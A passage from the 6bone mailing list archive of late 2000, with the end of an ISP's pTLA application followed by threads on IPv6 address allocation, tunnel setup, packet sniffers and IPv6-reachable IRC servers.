>verification.  The router is IPv6 pingable as well (router1.nel-ipv6.
>mimos.my) with following addresses 2001:208:110:2::33 & 2001:208:110:1::2.
>
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>ANSWER: We maintain our own IPv6 nameservers with its primary at
>britney.nel-ipv6.mimos.my->2001:208:110:2::36 and secondary at
>ricky.nel-ipv6.mimos.my->2001:208:110:2::39.  We have few IPv6 hosts
>that are IPv6 pingable, i.e. christina.nel-ipv6.mimos.my ->
>2001:208:110:2::37(including the nameservers).  Refer below:
>
> >dig ricky.nel-ipv6.mimos.my aaaa
>..
>;; ANSWER SECTION:
>ricky.nel-ipv6.mimos.my.  1D IN AAAA  2001:208:110:2::39
>.
>
> >dig
>7.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.0.1.1.0.8.0.2.0.1.0.0.2.ip6.int
>ptr
>
>;; ANSWERS:
>7.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.0.1.1.0.8.0.2.0.1.0.0.2.ip6.int. 86400
>PTR     christina.nel-IPv6.mimos.my.
>..
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>ANSWER: Currently our IPv6 web server resides at http://www.nel-ipv6.
>mimos.my(2001:208:110:2::39), that describes our IPv6 activity, which is
>also IPv6 pingable.
>
>
>
>   2.  The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>ANSWER: MIMOS Berhad do intend to provide "production-quality" 6bone
>backbone service.
>
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the IPv6-site object
>          for the pTLA applicant.
>ANSWER: Our IPv6 support staffs are as followings:
>1.      Raja Azlina Raja Mahmood  (ina@mimos.my)
>2.      Che Rohani Ishak  (roha@mimos.my)
>3.      Mahizzan Mohd Fadzil (mahizzan@mimos.my).
>
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          IPv6-site object for the pTLA Applicant.
>ANSWER: Our common mailbox: IPv6-support@mimos.my
>
>
>   3.  The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or
>       focus of interest. Applicant must provide a statement and
>       information in support this claim.
>ANSWER: We are operating one of the largest ISPs in Malaysia.  We have
>more than 300K of subscribers and lease circuit community.  We have been
>operating this ISP service for more than 13 years.  We also operate MYNIC
>(Malaysian Network Information Centre - provides domain name registration
>service) and MYCERT (Malaysian Computer Emergency Response Team - acts as
>a point of reference in dealing with computer security incidents and
>methods of preventions) that are serving Malaysian Internet community.
>
>
>   4.  The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>ANSWER: We hereby agree to abide to the 6bone operational rules and
>policies.
>



From 6bone-owner  Fri Sep 29 18:34:13 2000
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From: "Radu Malica" <thejoker@infostream.ro>
To: <6bone@ISI.EDU>
Subject: ipv6 addressing
Date: Sat, 30 Sep 2000 04:33:17 +0200
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Hi

i have 2 ipv6 block addresses from some time now. i have studied ipv6
tunnels. on cisco on linux now i know them perfectly. But in despite of all
RFC related to ipv6 i read, i can't understand how to allocate ipv6
addresses from my block

for example i have 2001:600:4:80cf::/48
and a /64 from sprint 3FFE:2900:E004::/48

and i don't know how to give to my clients ipv6 tunnels and sub block
addresses

could anyone give me a hint?

thanks a lot

Radu Malica


From 6bone-owner  Sat Sep 30 10:09:33 2000
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From: John Wright <john@dryfish.org>
To: 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
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Slightly related and I'm sure I'll sound like a complete novice.

What's the equivalent of 192.168.x.y and 10.a.b.c for ipv6?  I've been
trying to get the autoallocated addresses that my OpenBSD box sets for the
network interfaces and I think setting them to something proper might help.

The problem I'm having is that I have to specify the outgoing interface for
things like ping6 and ssh otherwise the packets appear to go nowhere.

I've managed to get a freenet6 tunnel working okay though -- just my home
network ain't happy.

Those IPv6 RFCs are a bit of a brainful to understand. :)


On Sat, Sep 30, 2000 at 04:33:17AM +0200, Radu Malica wrote:
> Hi
> 
> i have 2 ipv6 block addresses from some time now. i have studied ipv6
> tunnels. on cisco on linux now i know them perfectly. But in despite of all
> RFC related to ipv6 i read, i can't understand how to allocate ipv6
> addresses from my block
> 
> for example i have 2001:600:4:80cf::/48
> and a /64 from sprint 3FFE:2900:E004::/48
> 
> and i don't know how to give to my clients ipv6 tunnels and sub block
> addresses
> 
> could anyone give me a hint?
> 
> thanks a lot
> 
> Radu Malica
> 

From 6bone-owner  Sat Sep 30 14:22:37 2000
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Subject: Re: ipv6 addressing - non-routable equivalents?
To: john@dryfish.org (John Wright)
Date: Sat, 30 Sep 2000 14:22:39 -0700 (PDT)
Cc: 6bone@ISI.EDU
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 Two birds w/ one stone.

	) There is no IPv6 equivalent of global, private address space
	  as defined in RFC 1918.  There is link-local and site-local,
	  which might suit your purposes.


	) Inverse DNS delegations are done the same way as in IPv4, with
	  the delegations occuring on nibble bounds.

	  If you have:  201:0600:0004:80cf::/48 and (remember) the
	  bits from 65-128 are "reserved" for your MAC or e164 address,
	  then you have /49 to /64 to carve up as subnets.
	  16 delegation points, e.g. the functional equivalant of an
	  IPv4 /16.  Does that help?


	  

% Slightly related and I'm sure I'll sound like a complete novice.
% 
% What's the equivalent of 192.168.x.y and 10.a.b.c for ipv6?

% On Sat, Sep 30, 2000 at 04:33:17AM +0200, Radu Malica wrote:
% > Hi
% > 
% > for example i have 2001:600:4:80cf::/48
% > and a /64 from sprint 3FFE:2900:E004::/48
% > 
% > and i don't know how to give to my clients ipv6 tunnels and sub block
% > addresses
% > 


-- 
--bill

From 6bone-owner  Sat Sep 30 17:26:51 2000
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From: John Wright <john@dryfish.org>
To: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: ipv6 addressing - non-routable equivalents?
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On Sat, Sep 30, 2000 at 02:22:39PM -0700, Bill Manning wrote:
>  Two birds w/ one stone.
> 
> 	) There is no IPv6 equivalent of global, private address space
> 	  as defined in RFC 1918.  There is link-local and site-local,
> 	  which might suit your purposes.

Searching in an RFC for those two keywords and I appear to have a happier
network -- also beginning to understand the addressing scheme more.

Thanks.

From 6bone-owner  Sat Sep 30 18:37:02 2000
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From: Antonio Querubin <tony@lava.net>
To: Bill Manning <bmanning@ISI.EDU>
cc: John Wright <john@dryfish.org>, 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
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On Sat, 30 Sep 2000, Bill Manning wrote:

> 	  If you have:  201:0600:0004:80cf::/48 and (remember) the
> 	  bits from 65-128 are "reserved" for your MAC or e164 address,
> 	  then you have /49 to /64 to carve up as subnets.
> 	  16 delegation points, e.g. the functional equivalant of an
> 	  IPv4 /16.  Does that help?

Is it really required that we use the MAC address in bits 64-128?  Ie.
what prevents someone from just starting with some arbitrary number in the
subnet field?  Or for that matter what really prevents subnetting beyond a
/64?


From 6bone-owner  Sat Sep 30 20:59:46 2000
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Subject: Re: ipv6 addressing - non-routable equivalents?
To: tony@lava.net (Antonio Querubin)
Date: Sat, 30 Sep 2000 20:59:44 -0700 (PDT)
Cc: bmanning@ISI.EDU (Bill Manning), john@dryfish.org (John Wright),
        6bone@ISI.EDU
In-Reply-To: <Pine.BSI.4.10.10009301533270.27693-100000@malasada.lava.net> from "Antonio Querubin" at Sep 30, 2000 03:36:50 PM
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% On Sat, 30 Sep 2000, Bill Manning wrote:
% 
% > 	  If you have:  201:0600:0004:80cf::/48 and (remember) the
% > 	  bits from 65-128 are "reserved" for your MAC or e164 address,
% > 	  then you have /49 to /64 to carve up as subnets.
% > 	  16 delegation points, e.g. the functional equivalant of an
% > 	  IPv4 /16.  Does that help?
% 
% Is it really required that we use the MAC address in bits 64-128?  Ie.
% what prevents someone from just starting with some arbitrary number in the
% subnet field?  Or for that matter what really prevents subnetting beyond a
% /64?

The value does not have to be a MAC address. E164s are 
known to work. The idea is that it is roughly an invarient, globally 
unique number w/o topologocal significance. 

Some applications are using system calls designed along these "8+8"
boundaries.  But, other than the fact that some stuff won't work, there is 
nothing to prevent you from carving up your space as you see fit. :)

--bill

From 6bone-owner  Sat Sep 30 22:36:36 2000
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From: Jonathan Guthrie <jguthrie@brokersys.com>
To: Antonio Querubin <tony@lava.net>
cc: Bill Manning <bmanning@ISI.EDU>, John Wright <john@dryfish.org>,
        6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
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On Sat, 30 Sep 2000, Antonio Querubin wrote:

> On Sat, 30 Sep 2000, Bill Manning wrote:
 
> > 	  If you have:  201:0600:0004:80cf::/48 and (remember) the
> > 	  bits from 65-128 are "reserved" for your MAC or e164 address,
> > 	  then you have /49 to /64 to carve up as subnets.
> > 	  16 delegation points, e.g. the functional equivalant of an
> > 	  IPv4 /16.  Does that help?
 
> Is it really required that we use the MAC address in bits 64-128?  Ie.
> what prevents someone from just starting with some arbitrary number in the
> subnet field?  Or for that matter what really prevents subnetting beyond a
> /64?

You need to read the rfc that talks about constructing an IPv6 address
from an Ethernet address.  Basically, what I understand is that as long as
the global bit is not set, you can generate any address you want for
bits 64-127.  You use such addresses for things like tunnel endpoints,
which aren't associated with Ethernet adapters and so the technique for
converting Ethernet adapters to IPv6 addresses doesn't apply.

It is also my understanding that tunnels (and, presumably, point-to-point
IPv6 links like PPP or HDLC WAN sessions although I've never seen it done
because I'm still new to this IPv6 thing) are usually set up as /127's.
I do it this way for my downstream tunnels and it works.  Those addresses
are primarily of local interest, so you reset the global bit for them and
pick them in pairs.  It works because nobody expects bits 64-127 to be
unique if the global bit is reset.

What I don't understand is what to do if you want multiple global
addresses on a single computer.  Is there some way of generating multiple
IPv6 addresses from a single Ethernet address or am I supposed to generate
random global addresses and do a collision detection or do I have to buy a
bunch of old, dead Ethernet cards and use their addresses?  With the large
address space available in IPv6, it makes sense to use address-based
virtual hosting and server addresses should be global, or so I understand.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Brokersys  +281-580-3358   http://www.brokersys.com/
12703 Veterans Memorial #106, Houston, TX  77014, USA


From 6bone-owner  Sat Sep 30 23:00:43 2000
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From: Antonio Querubin <tony@lava.net>
To: Jonathan Guthrie <jguthrie@brokersys.com>
cc: Bill Manning <bmanning@ISI.EDU>, John Wright <john@dryfish.org>,
        6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
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On Sun, 1 Oct 2000, Jonathan Guthrie wrote:

> You need to read the rfc that talks about constructing an IPv6 address
> from an Ethernet address.  Basically, what I understand is that as long as
> the global bit is not set, you can generate any address you want for
> bits 64-127.  You use such addresses for things like tunnel endpoints,
> which aren't associated with Ethernet adapters and so the technique for
> converting Ethernet adapters to IPv6 addresses doesn't apply.

I've read the RFC but apart from the global invariance of this type of
address why would anyone want to use it or organize and maintain their
address space in such a manner?  The global uniqueness is neat but other
than that so what?

Ethernet addresses are for the most part unique too but who in his right
mind organizes networks by ethernet address?  Similarly where's the
incentive to organize a network using an IPv6 address that's in part based
on the ethernet MAC address?

> What I don't understand is what to do if you want multiple global
> addresses on a single computer.  Is there some way of generating multiple
> IPv6 addresses from a single Ethernet address or am I supposed to generate
> random global addresses and do a collision detection or do I have to buy a
> bunch of old, dead Ethernet cards and use their addresses?  With the large
> address space available in IPv6, it makes sense to use address-based
> virtual hosting and server addresses should be global, or so I understand.

I've been wondering exactly the same thing...


From 6bone-owner  Mon Oct  2 01:32:59 2000
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From: Eyck <isp@forumakad.pl>
To: Kontogianni Vicky <kontogia@cti.gr>
cc: 6bone@ISI.EDU
Subject: Re: Web server s/w for Solaris 2.8
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> do you know what is the available ipv6 Web server software for Solaris 2.8?
> Does the Apache server, included in the distribution, support ipv6??
AFAIK it doesen't, try compiling it yourself

( but it tested it the lame way : telnet ::1 80, telnet ::1 8080 
 so I think either apache nor websphersth doesen't support ipv6)


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From: Mark Drayton <mark.drayton@4thwave.co.uk>
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Hi

I represent a small ISP in Hampshire, UK. We'd like to get a 6bone tunnel
for testing and development. I've asked a few places in London for a
tunnel, but haven't heard anything back from them so I'm asking here as
http://www.6bone.net/6bone_hookup.html suggests.

Our upstream provider is PSInet in Telehouse, London.

Can anyone help us out?

Many thanks

Mark Drayton
4th Wave Technologies


From 6bone-owner  Mon Oct  2 06:30:17 2000
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On Mon, Oct 02, 2000 at 10:04:41AM +0100, Mark Drayton wrote:
> Hi
> 
> I represent a small ISP in Hampshire, UK. We'd like to get a 6bone tunnel
> for testing and development. I've asked a few places in London for a
> tunnel, but haven't heard anything back from them so I'm asking here as
> http://www.6bone.net/6bone_hookup.html suggests.
> 
> Our upstream provider is PSInet in Telehouse, London.
> 
> Can anyone help us out?

I've been playing with http://www.freenet6.net/ tunnels which even give you
a setup perl script for your OS.

The ipv4 traceroute from UK takes a while but for testing there's no
problem.

From 6bone-owner  Mon Oct  2 07:14:28 2000
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From: Todd Vierling <tv@pobox.com>
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Someone else asked this as part of replying to a thread, but I'll ask it
again:

Is there a published list of public 6to4 ingress points?  It'd be nice to
survey the turnaround times....

-- 
-- Todd Vierling (tv@pobox.com)


From 6bone-owner  Mon Oct  2 08:44:47 2000
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Date: Mon, 02 Oct 2000 10:44:58 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
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Todd,

I don't understand your terminology. Do you mean active 6to4 sites (i.e.
vanilla 6to4 routers) or 6to4 relay routers?

In any case the RFC isn't even out yet...

  Brian

Todd Vierling wrote:
> 
> Someone else asked this as part of replying to a thread, but I'll ask it
> again:
> 
> Is there a published list of public 6to4 ingress points?  It'd be nice to
> survey the turnaround times....
> 
> --
> -- Todd Vierling (tv@pobox.com)

From 6bone-owner  Mon Oct  2 08:55:44 2000
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From: Todd Vierling <tv@pobox.com>
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On Mon, 2 Oct 2000, Brian E Carpenter wrote:

: I don't understand your terminology. Do you mean active 6to4 sites (i.e.
: vanilla 6to4 routers) or 6to4 relay routers?

The latter, as in sites accepting 6to4 packets and injecting directly to the
6bone.  MS has one, for instance:  6to4.ipv6.microsoft.com.

: In any case the RFC isn't even out yet...

Yes, I know it's in draft state, but it's also implemented in several stacks
already, and there are now 2002::/16 outbound route(s) available to make
round-trips work properly.

-- 
-- Todd Vierling (tv@pobox.com)


From 6bone-owner  Mon Oct  2 09:31:12 2000
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From: Mauricio =?iso-8859-1?Q?Hern=E1ndez=20Garc=EDa?= 
	<maurik@servidor.unam.mx>
Organization: DGSCA, UNAM
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Hi

Some one can helpme to configure my tunnel? I have a Linux Red Hat 6.2
system with 2.2.17 kernel and its configurated to use IPv6. I have some
basic services working fine in my local network so, I want to go outside
using a tunnel that I get in freenet6. They sendme some information
(IPv6 and IPv4 addresses for both sides of the tunnel) to configure my
system but I can't do it. I think my problem is with the route.

Thanks


-- 
			Mauricio Hernandez Garcia
			Prospeccion e Innovacion Tecnologica
			Direccion General de Computo Academico, UNAM
			5622-8316

From 6bone-owner  Mon Oct  2 12:04:34 2000
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From: Antonio Querubin <tony@lava.net>
To: chuck yerkes <chuck@snew.com>
cc: Bill Manning <bmanning@ISI.EDU>, John Wright <john@dryfish.org>,
        6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
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On Mon, 2 Oct 2000, chuck yerkes wrote:

> Then I got a tunnel (was playing on internal net before),
> and had to renumber everything.
> By hand.
> That's when I learned about just having the gateway
> server provide the prefix and letting the machines
> set up their own addresss.
> 
> When I have to renumber again, I change the prefix
> at one machine and, next reboot, the machines are
> renumbered.  Like DHCP but static enough that the
> conflicts are only created per duplicate MAC address;
> that will happen never given that ethernet's lower
> layers will also have trouble with that :).

It seems like extremely inefficient use of subnet space just to avoid
address conflicts on the same segment.  It's a laudable goal but it seems
like a solution chasing after a problem already solved by DHCP or good
address management practices.  And DHCP hands out more than just IP
addresses.

In the bigger IP address management world I can think of other problems
that would arise using this scheme.  Of concern to me is assignment of
virtual host addresses and the problems associated with swapping ethernet
cards, routers, etc.  Maintaining a sane reverse DNS map sounds more
difficult.

> So, short answer: Number it what you want, but using
> the MAC address makes admin much nicer.

As long as its primary use is for link-local usage I can see it's
advantages.  But for global-scope usage any additional benefits seem very
limited.


From 6bone-owner  Mon Oct  2 23:56:39 2000
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To: Mauricio =?iso-8859-1?Q?Hern=E1ndez=20Garc=EDa?= <maurik@servidor.unam.mx>
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On Mon, 2 Oct 2000, Mauricio [iso-8859-1] Hernández García wrote:

> using a tunnel that I get in freenet6. They sendme some information
> (IPv6 and IPv4 addresses for both sides of the tunnel) to configure my
> system but I can't do it. I think my problem is with the route.

commands for simple IPv6 in IPv4 tunnel.
ip tunnel add <tunnelname> mode sit remote <remoteIP> ttl 64
ip link set <tunnelname> up
ip -f inet6 route add fe80::<remoteIP>/128 dev <tunnelname> metric 1
ifconfig tunnelname add <IPv6 address you have got>
ip -f inet6 route add ::/0 via <yours IPv6 gateway address in the same
subnet as <IPv6 address you have got>>

if tunnel exist on other side..it should work, but freenet checks other
IPv6 end's and removes not used tunnels.

                                              -------------------------
                                                Kasparavicius Andrius
________________________________________________________________________
http://www.andrius.org  ICQ:17701001  tel.: +370 87 25630 nick: Casper
AND-RIPE AND-6BONE



From 6bone-owner  Tue Oct  3 12:22:21 2000
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     Hi sirs,
     I don't want to exist in the 6bone mailing list anymore. I will be glad 
if someone can help me.
     Thanks for your help.
                                             Oguz

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From 6bone-owner  Tue Oct  3 15:36:18 2000
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Date: Tue, 3 Oct 2000 23:36:19 +0100 (BST)
From: David Gethings <davidg@uk.uu.net>
To: Jonathan Guthrie <jguthrie@brokersys.com>
cc: Antonio Querubin <tony@lava.net>, Bill Manning <bmanning@ISI.EDU>,
        John Wright <john@dryfish.org>, 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
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On Sun, 1 Oct 2000, Jonathan Guthrie wrote:

> 
> What I don't understand is what to do if you want multiple global
> addresses on a single computer.  Is there some way of generating multiple
> IPv6 addresses from a single Ethernet address or am I supposed to generate
> random global addresses and do a collision detection or do I have to buy a
> bunch of old, dead Ethernet cards and use their addresses?  With the large
> address space available in IPv6, it makes sense to use address-based
> virtual hosting and server addresses should be global, or so I understand.
Jonathan,

If I recall the IPv6 RFC correctly you can ues part of the last 64 bits
for multiple addresses on a single computer.

As you know the last 64 bits of an IPv6 address are taken from the
computers MAC address (if you wish to allocate in that manner). But a MAC
address is only 48 bits long, leaving a tasty 8 bits.

As I understand it the computer *can* use these 8 bits to allocate
multiple addresses without too much further configuration. How you do this
in pratice though, I have no idea as I haven't looked into it.

Regards

-- 
David Gethings			UUNET, a Worldcom Company,
Network Activation Engineer	Internet House, 332 Science Park,
Email: davidg@uk.uu.net		Cambridge, CB4 0BZ, United Kingdom.
Phone: +44 (0)1223 581515	http://www.uk.uu.net/



From 6bone-owner  Tue Oct  3 15:48:44 2000
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From: "peter@ticl" <pcurran@ticl.co.uk>
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Help!!

I desperately (ie yesterday) need a sniffer that can grok IPv6 and that runs
on Windows 2000.

I have tried the Agilent demo, but this cannot handle fundamental things
like ICMPv6 for NDP (so it sits in the chocolate fireguard list of most
useless things).

Can anybody point me in the right direction.

Cheers

Peter Curran
TICL



From 6bone-owner  Tue Oct  3 20:01:54 2000
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Date: Wed, 4 Oct 2000 08:23:10 +0530 (IST)
From: Shilpa Ghadge <shilpa@cse.iitb.ernet.in>
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Hello,
    I also don't want to be in the 6bone mailing list. Can you help me?
thanks
Shilpa


On Tue, 3 Oct 2000, oguz rahmi kazanci wrote:

>      Hi sirs,
>      I don't want to exist in the 6bone mailing list anymore. I will be glad 
> if someone can help me.
>      Thanks for your help.
>                                              Oguz
> 
> _________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
> 
> Share information about yourself, create your own public profile at 
> http://profiles.msn.com.
> 


From 6bone-owner  Wed Oct  4 02:06:35 2000
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majordomo@isi.edu wrote:
> 
> --
> 
> Welcome to the 6bone mailing list!
> 
> If you ever want to remove yourself from this mailing list,
> send the following command in email to
> "6bone-request@isi.edu":
> 
>     unsubscribe
> 
> Or you can send mail to "majordomo@isi.edu" with the following command
> in the body of your email message:
> 
>     unsubscribe 6bone J_Baix <baix@upc.es>
> 
> Here's the general information for the list you've
> subscribed to, in case you don't already have it:
> 
> The 6bone list is for the discussion of the development of the initial IPv6
> network.
> 
> To ADD yourself to this list, send a message to <majordomo@isi.edu>
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> 
> as the contents of the message.
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> Use of this list for other than its intended purpose is prohibited.

-- 
********************************************

	Julio Baixauli Garreta
	baixauli@mat.upc.es

********************************************

From 6bone-owner  Wed Oct  4 03:09:43 2000
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From: John Wright <john@dryfish.org>
To: 6bone@ISI.EDU
Subject: IRC servers again
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What were those IRC servers which are available over ipv6?  I've found
eu.irc6.net but I can't even ping6 it from my freenet6.net tunnel.

Incidently, is there an archive of this mailing list?  The threaded
one appears to have vanished and the flat file appears to end in 1998.

From 6bone-owner  Wed Oct  4 07:56:15 2000
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try it.irc6.net ,irc.missingu.com, irc.belnet.be.

Note that on many servers is freenet range restricted due to abuse. 

JV

On Wed, 4 Oct 2000, John Wright wrote:

> What were those IRC servers which are available over ipv6?  I've found
> eu.irc6.net but I can't even ping6 it from my freenet6.net tunnel.
> 
> Incidently, is there an archive of this mailing list?  The threaded
> one appears to have vanished and the flat file appears to end in 1998.
> 
> 


From 6bone-owner  Wed Oct  4 08:13:27 2000
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From: Louis Zuckerman <louis@trapezoid.com>
To: "peter@ticl" <pcurran@ticl.co.uk>
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I've heard good things about NAI's Sniffer.  Also, there's an open source
program called Ethereal (ethereal.zing.org) that's really good.

					-Louis Z <louis@trapezoid.com>


From 6bone-owner  Wed Oct  4 08:51:58 2000
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Date: Wed, 04 Oct 2000 10:54:32 -0500
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But NAI versions 3.5/4.0.2 do not run under WIN2K.

At 10:09 AM 10/4/00 -0400, Louis Zuckerman wrote:
>I've heard good things about NAI's Sniffer.  Also, there's an open source
>program called Ethereal (ethereal.zing.org) that's really good.
>
>                                         -Louis Z <louis@trapezoid.com>


From 6bone-owner  Wed Oct  4 09:22:37 2000
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On Wed, 4 Oct 2000, John Wright wrote:

> What were those IRC servers which are available over ipv6?  I've found
> eu.irc6.net but I can't even ping6 it from my freenet6.net tunnel.

 be.irc6.net eu.irc6.net, today they are down ar IPv6..but sometimes work
perfectly..

                                              -------------------------
                                                Kasparavicius Andrius
________________________________________________________________________
http://www.andrius.org  ICQ:17701001  tel.: +370 87 25630 nick: Casper
AND-RIPE AND-6BONE



From 6bone-owner  Wed Oct  4 10:06:39 2000
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Date: Wed, 4 Oct 2000 19:07:10 +0200
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Hello,

Wednesday, October 04, 2000, 12:09:42 PM, you wrote:

JW> What were those IRC servers which are available over ipv6?  I've found
JW> eu.irc6.net but I can't even ping6 it from my freenet6.net tunnel.

erlangen.irc6.net
irc6.ircd.it
irc.missingu.com
irc.skynet.be
ircnet.wanadoo.be

are the ones I can think of right now ;-)

Cheers,

Christoph Kuhles
CEO
MediKat Europe GmbH i.G.



From 6bone-owner  Wed Oct  4 12:51:42 2000
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From: Secret Asian Man <cchen@nougat.org>
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In people's opinions, how long should a person wait after mailing a pTLA? I'm 14ms from verio's access point and it would be ideal, but knowing Verio, I don't know if anyone's even "home", so to speak...

cc

-- 
Christopher Kyin-hwa Chen <cchen@nougat.org>
<http://www.nougat.org/~cchen/>
"I've often wondered to myself: Does a vegetarian
ever look forward to dinner?" --Julia Child

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To: Secret Asian Man <cchen@nougat.org>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: getting a tunnel peer...
In-Reply-To: <20001004125143.B10295@bonsai.nougat.org>
References: <Pine.LNX.4.10.10010041649250.32375-100000@kronos>
 <20001004110942.D19707@dryfish.org>
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At 12:51 PM 10/4/2000 -0700, Secret Asian Man wrote:
>In people's opinions, how long should a person wait after mailing a pTLA? 
>I'm 14ms from verio's access point and it would be ideal, but knowing 
>Verio, I don't know if anyone's even "home", so to speak...

A week is a reasonable wait, I would think. It seems that we have moved 
into a time when most 6bone pTLAs don't respond very promptly or want to 
only handle sites in thier own user community.

The 6to4 mechanism will ventually be the real answer to this (i.e., not 
requiring a configured tunnel at all), but it is too soon to rely on it.

This leaves trying harder to find a helpful pTLA (another pTLA, or trying 
several times more to the pTLAs not responding to you), trying the Viagenie 
end-system tunnel server <http://www.freenet6.net/> , or waiting for the 
6tap site tunnel server (not up yet).

I would certainly like to hear other opinions on the topic of how best to 
find a helpful pTLA site.


Bob


From 6bone-owner  Wed Oct  4 16:44:32 2000
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From: Secret Asian Man <cchen@nougat.org>
To: 6bone@ISI.EDU
Subject: Registering
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I've been contacted with the appropriate numbers so I can start tunneling, but I have a few questions...

For setting up a ipv6-site object, where do I find my AS number, or have one assigned to me? Are these analogous to ASNs in the other world (which cost quite a bit?)

The documentation is a bit unclear in this respect, I'm afraid...

cc

-- 
Christopher Kyin-hwa Chen <cchen@nougat.org>
<http://www.nougat.org/~cchen/>
"But I don't want to do computer science.
I want to have a sex life!" --Fred

From 6bone-owner  Wed Oct  4 16:52:56 2000
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From: Jonathan Guthrie <jguthrie@brokersys.com>
To: David Gethings <davidg@uk.uu.net>
cc: 6bone@ISI.EDU
Subject: Re: ipv6 addressing - non-routable equivalents?
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On Tue, 3 Oct 2000, David Gethings wrote:

> On Sun, 1 Oct 2000, Jonathan Guthrie wrote:

> > What I don't understand is what to do if you want multiple global
> > addresses on a single computer.  Is there some way of generating multiple
> > IPv6 addresses from a single Ethernet address or am I supposed to generate
> > random global addresses and do a collision detection or do I have to buy a
> > bunch of old, dead Ethernet cards and use their addresses?  With the large
> > address space available in IPv6, it makes sense to use address-based
> > virtual hosting and server addresses should be global, or so I understand.
 
> If I recall the IPv6 RFC correctly you can ues part of the last 64 bits
> for multiple addresses on a single computer.

> As you know the last 64 bits of an IPv6 address are taken from the
> computers MAC address (if you wish to allocate in that manner). But a MAC
> address is only 48 bits long, leaving a tasty 8 bits.
 
> As I understand it the computer *can* use these 8 bits to allocate
> multiple addresses without too much further configuration. How you do this
> in pratice though, I have no idea as I haven't looked into it.

I presume the "8 bits" is part of a brain fog as 64-48 is 16, not 8.

My reading of rfc2373 (which can be retrieved from
ftp://ftp.isi.edu/in-notes/rfc2373.txt, if you have a mind to read it) is
that those 16 bits (which are inserted starting at bit 24) are required to
be 0xfffe.

I don't want to speak ill of the standards process as it's tough enough to
accomplish as it is, but didn't anybody consider the fact that people are
going to want to use address-based virtual hosting when designing this
scheme, or am I missing something?
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Brokersys  +281-580-3358   http://www.brokersys.com/
12703 Veterans Memorial #106, Houston, TX  77014, USA


From 6bone-owner  Wed Oct  4 16:53:44 2000
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To: Secret Asian Man <cchen@nougat.org>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: Registering
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At 04:44 PM 10/4/2000 -0700, Secret Asian Man wrote:
>I've been contacted with the appropriate numbers so I can start tunneling, 
>but I have a few questions...
>
>For setting up a ipv6-site object, where do I find my AS number, or have 
>one assigned to me? Are these analogous to ASNs in the other world (which 
>cost quite a bit?)
>
>The documentation is a bit unclear in this respect, I'm afraid...

Have to fix that.

You can just use the ASN of your pTLA providing the prefix to you.


Bob


From 6bone-owner  Wed Oct  4 16:57:21 2000
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I found viagenie to be very helpful - I tried the freenet6 server - once I had that working I put out a request on this list for a tunnel and was contacted directly by ipv6 staff at viagenie who had a site tunnel set up for me very quickly.

>>> Bob Fink<fink@es.net> 10/04/00 01:43PM >>>
At 12:51 PM 10/4/2000 -0700, Secret Asian Man wrote:
>In people's opinions, how long should a person wait after mailing a pTLA? 
>I'm 14ms from verio's access point and it would be ideal, but knowing 
>Verio, I don't know if anyone's even "home", so to speak...

A week is a reasonable wait, I would think. It seems that we have moved 
into a time when most 6bone pTLAs don't respond very promptly or want to 
only handle sites in thier own user community.

The 6to4 mechanism will ventually be the real answer to this (i.e., not 
requiring a configured tunnel at all), but it is too soon to rely on it.

This leaves trying harder to find a helpful pTLA (another pTLA, or trying 
several times more to the pTLAs not responding to you), trying the Viagenie 
end-system tunnel server <http://www.freenet6.net/> , or waiting for the 
6tap site tunnel server (not up yet).

I would certainly like to hear other opinions on the topic of how best to 
find a helpful pTLA site.


Bob



From 6bone-owner  Thu Oct  5 01:41:43 2000
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From: Secret Asian Man <cchen@nougat.org>
To: 6bone@ISI.EDU
Subject: [tcole@wcug.wwu.edu: 6bone list archives back online]
Message-ID: <20001005014146.C3188@bonsai.nougat.org>
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Date: Wed, 4 Oct 2000 03:37:49 -0700
From: Travis Cole <tcole@wcug.wwu.edu>
To: 6bone@isi.edu
Subject: 6bone list archives back online
X-Mailer: Mutt 1.0.1i


For the past several years the Western Computer Users Group at 
Western Washington University has provided a web based archive of this
mailing list at http://wcug.wwu.edu/lists/6bone/

Unfortunately due to hardware problems and insufficient time to deal with
them, the list archives have been down for the last month.

They are back up, and should be working fine.  But we did not archive
anything for the month of September.

If anyone would like to see September archived by us, and has an archive
we can sync with, then I will see what I can do about munging that
into our archive.

You may also notice that our search is broken.  I will be trying to
fix that soon, so please bear with us.

And I just noticed John Wright <john@dryfish.org>, on this list,
asking what happened to our archive.  Well, its back up and working :)

Thanks.

-- 
--Travis

From 6bone-owner  Thu Oct  5 07:46:50 2000
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From: "Sarah Nordstrom" <sarahemm@technodyke.com>
To: 6bone@ISI.EDU
Subject: 6bone via dynamic ipv4?
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Hi,
